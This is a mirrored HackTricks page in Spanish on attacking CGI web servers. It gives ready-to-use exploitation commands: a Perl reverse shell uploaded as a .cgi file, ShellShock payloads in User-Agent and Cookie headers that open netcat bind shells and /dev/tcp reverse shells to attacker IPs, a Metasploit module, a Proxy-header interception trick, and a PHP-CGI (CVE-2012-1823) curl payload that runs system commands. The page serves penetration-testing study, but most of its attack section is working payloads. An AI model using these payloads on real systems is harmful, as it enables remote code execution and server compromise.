mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-25 11:25:13 +00:00
85 lines
6.6 KiB
Markdown
85 lines
6.6 KiB
Markdown
|
# Información
|
||
|
|
||
|
Los scripts **CGI son scripts perl**, por lo que si has comprometido un servidor que puede ejecutar scripts _**.cgi**_, puedes **subir un shell inverso perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiar la extensión** de **.pl** a **.cgi**, darle **permisos de ejecución** \(`chmod +x`\) y **acceder** al shell inverso **desde el navegador web** para ejecutarlo.
|
||
|
Para probar **vulnerabilidades CGI**, se recomienda usar `nikto -C all` \(y todos los plugins\)
|
||
|
|
||
|
# **ShellShock**
|
||
|
|
||
|
Bash también se puede usar para ejecutar comandos que se le pasan las aplicaciones y es esta característica la que afecta a la vulnerabilidad. Un tipo de comando que se puede enviar a Bash permite establecer variables de entorno. Las variables de entorno son valores dinámicos y nombrados que afectan a la forma en que se ejecutan los procesos en un ordenador. La vulnerabilidad radica en el hecho de que un **atacante puede agregar código malicioso a la variable de entorno, que se ejecutará una vez que se reciba la variable**.
|
||
|
|
||
|
Explotando esta vulnerabilidad, la **página podría arrojar un error**.
|
||
|
|
||
|
Podrías **encontrar** esta vulnerabilidad notando que está usando una **versión antigua de Apache** y **cgi\_mod** \(con carpeta cgi\) o usando **nikto**.
|
||
|
|
||
|
## **Prueba**
|
||
|
|
||
|
La mayoría de las pruebas se basan en imprimir algo y esperar que esa cadena se devuelva en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
|
||
|
|
||
|
**Nmap**
|
||
|
```bash
|
||
|
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
||
|
```
|
||
|
## **Curl \(reflejado, ciego y out-of-band\)**
|
||
|
```bash
|
||
|
# Reflected
|
||
|
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
||
|
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
|
||
|
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
|
||
|
# Out-Of-Band Use Cookie as alternative to User-Agent
|
||
|
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
|
||
|
```
|
||
|
[**Shellsocker**](https://github.com/liamim/shellshocker) es una herramienta que automatiza la explotación de la vulnerabilidad Shellshock en servidores web CGI. Esta herramienta utiliza una lista de objetivos y un archivo de carga útil para explotar la vulnerabilidad y obtener una shell remota en el servidor objetivo. Shellsocker también puede ser utilizado para realizar pruebas de penetración en servidores web CGI para detectar si son vulnerables a Shellshock.
|
||
|
```bash
|
||
|
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
||
|
```
|
||
|
## Explotación
|
||
|
```bash
|
||
|
#Bind Shell
|
||
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
||
|
#Reverse shell
|
||
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
|
||
|
#Reverse shell using curl
|
||
|
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
|
||
|
#Reverse shell using metasploit
|
||
|
> use multi/http/apache_mod_cgi_bash_env_exec
|
||
|
> set targeturi /cgi-bin/admin.cgi
|
||
|
> set rhosts 10.1.2.11
|
||
|
> run
|
||
|
```
|
||
|
# **Proxy \(MitM para solicitudes al servidor web\)**
|
||
|
|
||
|
CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP\_HOST"="web.com"
|
||
|
|
||
|
Como la variable HTTP\_PROXY podría ser utilizada por el servidor web. Intente enviar un **encabezado** que contenga: "**Proxy: <IP\_atacante>:<PUERTO>**" y si el servidor realiza alguna solicitud durante la sesión. Podrá capturar cada solicitud realizada por el servidor.
|
||
|
|
||
|
# PHP antiguo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||
|
|
||
|
Básicamente, si cgi está activo y php es "antiguo" \(<5.3.12 / < 5.4.2\) se puede ejecutar código.
|
||
|
Para explotar esta vulnerabilidad, es necesario acceder a algún archivo PHP del servidor web sin enviar parámetros \(especialmente sin enviar el carácter "="\).
|
||
|
Luego, para probar esta vulnerabilidad, podría acceder por ejemplo a `/index.php?-s` \(note el `-s`\) y **el código fuente de la aplicación aparecerá en la respuesta**.
|
||
|
|
||
|
Luego, para obtener **RCE** puede enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` y el **código PHP** a ejecutar en el **cuerpo de la solicitud**.
|
||
|
Ejemplo:
|
||
|
```bash
|
||
|
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||
|
```
|
||
|
**Más información sobre la vulnerabilidad y posibles exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Ejemplo de CTF Writeup**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||
|
|
||
|
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
||
|
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
|
||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al **grupo de telegram** o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
||
|
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|